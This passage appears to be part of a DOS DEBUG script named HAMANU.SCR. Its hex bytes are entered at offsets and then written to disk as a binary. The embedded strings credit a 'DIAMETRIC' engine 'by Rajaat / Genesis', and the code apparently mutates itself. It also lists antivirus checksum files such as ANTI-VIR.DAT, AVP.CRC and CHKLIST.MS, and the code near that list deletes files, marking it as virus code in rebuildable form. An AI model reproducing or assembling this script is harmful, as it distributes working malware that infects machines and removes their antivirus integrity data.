C3 50 53 51 52 56 57 1E 06 32 E4 C1 C0 03 BA E 0770 00 F0 BE 6E FA F8 03 F0 83 D2 00 8E DA B8 00 B8 E 0780 8E C0 B9 08 00 AC 51 B9 08 00 D0 C0 50 B8 DB 07 E 0790 72 03 B8 20 07 AB 58 E2 F1 59 81 C7 90 00 E2 E5 E 07A0 07 1F 5F 5E 5A 59 5B 58 C3 B8 01 06 E8 86 05 2B E 07B0 2B 51 55 BB 08 00 C1 E1 03 83 C1 04 32 ED 8B D1 E 07C0 81 C2 07 18 50 53 E8 74 00 33 DB CD 10 5B 58 4B E 07D0 75 F2 5D 59 C3 2D 2D C3 B8 01 07 EB CF 51 BE 02 E 07E0 00 33 FF FC E8 13 00 E2 F5 59 C3 51 BE 00 05 BF E 07F0 02 05 FD E8 04 00 E2 F4 59 C3 E8 38 05 2B 2B 51 E 0800 1E 06 B9 08 00 E8 35 00 51 56 57 B8 00 B8 8E D8 E 0810 8E C0 B9 80 02 F3 A5 5F 5E 56 57 81 C7 00 0A 81 E 0820 C6 00 0A B9 80 02 F3 A5 5F 5E 59 E2 D8 07 1F 59 E 0830 C3 2D 2D C3 B9 80 00 E8 03 00 E2 FB C3 FA 50 52 E 0840 BA DA 03 EC A8 08 74 FB EC A8 08 75 FB 5A 58 C3 E 0850 5B 44 49 41 4D 45 54 52 49 43 20 62 79 20 52 61 E 0860 6A 61 61 74 20 2F 20 47 65 6E 65 73 69 73 5D 00 E 0870 09 08 15 1F 0C 17 1B 0D 06 00 00 00 00 00 00 00 E 0880 00 00 00 00 00 00 00 00 00 00 00 30 00 28 F5 F8 E 0890 F9 90 E8 A0 04 2B 2B 55 1E 06 56 E8 00 00 5D 81 E 08A0 ED 9E 08 2E C6 86 86 08 00 2E C6 86 84 08 00 2E E 08B0 C6 86 85 08 00 2E C6 86 83 08 00 2E 89 8E 7B 08 E 08C0 2E 89 9E 7D 08 2E 89 BE 7F 08 A8 01 75 06 2E 80 E 08D0 8E 86 08 04 E8 11 03 2E 8A 86 86 08 24 03 3C 03 E 08E0 74 03 E9 55 01 E8 C9 01 2E 89 BE 89 08 B8 2E 80 E 08F0 AB E8 13 03 25 03 00 0A C0 74 F6 8B D8 03 DD 1E E 0900 0E 1F 8D B7 8A 08 AC 1F 2E 88 86 0D 0A 3C 30 74 E 0910 06 2E 80 B6 0D 0A 28 2E 02 86 84 08 A8 04 75 02 E 0920 34 06 34 02 AA E8 DF 02 2E 89 BE 81 08 AA 50 E8 E 0930 7F 01 E8 D2 02 A8 08 75 08 E8 3B 00 E8 0A 00 EB E 0940 68 E8 05 00 E8 30 00 EB 60 E8 BB 02 A8 01 75 1E E 0950 A8 02 75 0D B8 83 C0 2E 02 A6 84 08 AB B0 01 AA E 0960 C3 B8 83 E8 2E 02 A6 84 08 AB B0 FF AA C3 B0 40 E 0970 2E 02 86 84 08 AA C3 B8 2E 80 AB E8 89 02 B0 06 E 0980 F6 C4 01 75 02 04 28 AA 34 06 2E 88 86 0F 0A 2E E 0990 8B 86 81 08 2E 2B 86 7F 08 2E 03 86 7D 08 AB E8 E 09A0 65 02 AA 2E 88 86 81 08 C3 E8 05 01 E8 58 02 A8 E 09B0 01 75 20 A8 02 75 0E B8 83 C0 2E 02 A6 85 08 AB E 09C0 B0 FF AA EB 16 B8 83 E8 2E 02 A6 85 08 AB B0 01 E 09D0 AA EB 08 B0 48 2E 02 86 85 08 AA B0 75 AA 2E 8B E 09E0 86 89 08 2B C7 48 AA E8 C7 00 8B C7 2E 2B 86 7F E 09F0 08 2E 03 86 7D 08 57 2E 8B BE 87 08 AB 5F 58 86 E 0A00 C4 5E 2E 8B 8E 7B 08 2E 8A 9E 81 08 AC 00 E0 00 E 0A10 DC AA E2 F8 2E F6 86 86 08 04 74 0E E8 E8 01 25 E 0A20 7F 00 8B C8 E8 E0 01 AB E2 FA 8B CF 2E 8B 96 7F E 0A30 08 2B CA 07 1F 5D C3 2D 2D C3 E8 74 00 E8 C7 01 E 0A40 A8 01 75 14 2E F6 86 86 08 02 75 1D 2E 80 8E 86 E 0A50 08 02 E8 17 00 E9 7F FE 2E F6 86 86 08 01 75 09 E 0A60 2E 80 8E 86 08 01 E8 28 00 E9 6B FE E8 98 01 24 E 0A70 01 0C 06 F6 C4 01 74 02 B0 03 2E 3A 86 85 08 74 E 0A80 EB 2E 88 86 84 08 04 B8 AA 2E 89 BE 87 08 E9 40 E 0A90 01 E8 73 01 24 07 2E 3A 86 84 08 74 F4 3C 04 74 E 0AA0 F0 2E 88 86 85 08 04 B8 AA 2E 8B 86 7B 08 E9 20 E 0AB0 01 2E F6 86 86 08 04 75 01 C3 E8 4A 01 F6 C4 08 E 0AC0 74 51 2E FE 86 83 08 2E 80 BE 83 08 02 77 43 E8 E 0AD0 35 01 25 07 00 D1 E0 53 56 8B F0 2E 8B 9A 27 0C E 0AE0 B0 50 AA 53 E8 D3 FF 5B 8A E3 B0 B4 AB E8 17 01 E 0AF0 A9 01 00 74 0B B0 50 AA 53 E8 BE FF 5B B0 58 AA E 0B00 8A E7 B0 CD AB E8 B2 FF B0 58 AA 5E 5B 2E FE 8E E 0B10 83 08 C3 F6 C4 01 75 1B 25 03 00 0B C0 74 71 8B E 0B20 C8 E8 E3 00 25 03 00 8D 9E 8E 08 03 D8 2E 8A 07 E 0B30 AA E2 EE E8 D1 00 8B D8 83 E3 0F E8 C9 00 24 07 E 0B40 83 FB 07 77 EE 3C 04 74 EA 2E 3A 86 84 08 74 E3 E 0B50 2E 3A 86 85 08 74 DC 4B 78 45 74 53 4B 74 5B 4B E 0B60 74 71 4B 74 32 4B 74 2B 4B 74 26 B0 83 AA E8 96 E 0B70 00 8A E0 24 07 3C 04 74 F5 2E 3A 86 84 08 74 EE E 0B80 2E 3A 86 85 08 74 E7 8A C4 0C C0 AA E8 78 00 AA E 0B90 C3 04 08 04 40 AA C3 04 B8 AA E8 6A 00 EB 32 E8 E 0BA0 65 00 24 07 3C 04 74 F7 8A E0 05 90 90 EB 22 E8 E 0BB0 55 00 25 0F 00 05 70 00 EB 17 E8 4A 00 24 07 3C E 0BC0 04 74 F7 F6 C4 01 9C 8A E0 05 48 40 9D 74 02 86 E 0BD0 E0 AB C3 E8 31 00 24 07 3C 04 74 DE 04 50 AA 50 E 0BE0 E8 D7 FE 58 04 08 AA C3 B4 2C E8 5B F7 33 CA 2E E 0BF0 11 8E 79 08 B4 2A E8 4F F7 8A C8 D3 DA F7 D2 33 E 0C00 D1 2E 19 96 79 08 C3 53 51 52 E8 DB FF 2E 8B 9E E 0C10 79 08 E4 40 86 E0 E4 40 33 C3 1B C3 D1 C8 2E 11 E 0C20 86 79 08 5A 59 5B C3 54 21 02 16 02 15 02 17 0B E 0C30 21 0D 21 19 21 02 16 5B 52 54 46 4D 5D 41 4E 54 E 0C40 49 2D 56 49 52 2E 44 41 54 00 41 56 50 2E 43 52 E 0C50 43 00 43 48 4B 4C 49 53 54 2E 43 50 53 00 43 48 E 0C60 4B 4C 49 53 54 2E 4D 53 00 43 48 4B 4C 49 53 54 E 0C70 2E 54 41 56 00 43 52 43 2E 53 56 53 00 46 49 4C E 0C80 45 53 2E 56 56 4C 00 46 49 4E 47 45 52 50 2E 56 E 0C90 56 46 00 49 4D 2E 50 52 4D 00 49 56 42 2E 49 4E E 0CA0 49 00 49 56 42 2E 4E 54 5A 00 4D 53 41 56 2E 43 E 0CB0 48 4B 00 53 4D 41 52 54 43 48 4B 2E 43 50 53 00 E 0CC0 5C 41 56 2E 43 52 43 00 5C 42 4F 4F 54 2E 43 50 E 0CD0 53 00 5C 42 4F 4F 54 2E 4D 53 00 5C 42 4F 4F 54 E 0CE0 2E 4E 54 5A 00 5C 42 4F 4F 54 2E 54 41 56 00 5C E 0CF0 49 56 2E 49 4E 49 00 5C 50 41 52 54 2E 4E 54 5A E 0D00 00 00 E8 30 00 2B 2B 53 51 52 56 1E 0E 1F BE 3D E 0D10 0C 8B D6 B8 01 43 33 C9 E8 2D F6 72 05 B4 41 E8 E 0D20 26 F6 AC 0A C0 75 FB 80 3C 00 75 E5 1F 5E 5A 59 E 0D30 5B C3 2D 2D C3 55 8B EC 50 53 56 1E 0E 1F 8B 76 E 0D40 02 8B 04 35 2B 2B 93 8B 04 32 C3 89 04 46 3D 2D E 0D50 2D 75 F4 96 E8 00 00 5E 81 EE 57 0D 89 84 79 0D E 0D60 8D 84 7B 0D 87 46 02 89 84 77 0D 05 02 00 87 46 E 0D70 00 95 1F 5E 5B 58 C3 00 00 00 00 55 8B EC 50 53 E 0D80 51 56 1E 33 C0 8E D8 8B 1E 6C 04 0E 1F E8 00 00 E 0D90 5E 81 EE 90 0D 8B 8C 77 0D 49 8B B4 79 0D 56 4E E 0DA0 8B 04 32 C3 89 04 4E 3B F1 75 F5 5E 46 87 76 00 E 0DB0 87 EE 1F 5E 59 5B 58 C3 0E 1F B4 09 BA 04 00 2E E 0DC0 FF 1E A1 0E B4 0B BE 0C 06 2E 89 16 16 06 2E FF E 0DD0 1E A1 0E 2E C4 3E A5 0E 26 89 15 0E 07 B8 20 07 E 0DE0 BF F9 0D B9 60 00 FC F3 AB BF 00 01 B9 77 06 F3 E 0DF0 AB 07 1F 61 9D B8 00 00 CB 00 00 9C 60 E8 6A 00 E 0E00 1E 06 B8 00 BC 8E C0 33 DB 26 81 3F E8 00 74 47 E 0E10 B4 0F CD 10 3C 04 72 0A 8B DC 36 C7 47 14 2E 03 E 0E20 EB 35 E8 00 00 5D 81 ED 25 0E 0E 1F B8 10 43 CD E 0E30 2F 3E 89 9E A1 0E 3E 8C 86 A3 0E B4 0B 2E 8B 96 E 0E40 F9 0D 8D B6 7D 0E 2E 89 96 81 0E 2E FF 9E A1 0E E 0E50 B4 0A 2E FF 9E A1 0E 07 1F E5 40 2E 89 86 70 0E E 0E60 8D B6 00 0E E8 05 00 61 9D CB 5E 56 B9 67 00 B8 E 0E70 00 00 2E 30 04 02 C4 32 E0 46 E2 F6 C3 BC 0D 00 E 0E80 00 00 00 00 00 00 00 00 00 00 00 00 BC 50 53 B4 E 0E90 0F CD 10 3C 03 77 03 E8 97 F4 5B 58 EA 00 00 00 E 0EA0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0EB0 00 00 00 00 00 RCX 0DB5 W Q ;=[END HAMANU.SCR]===========================================================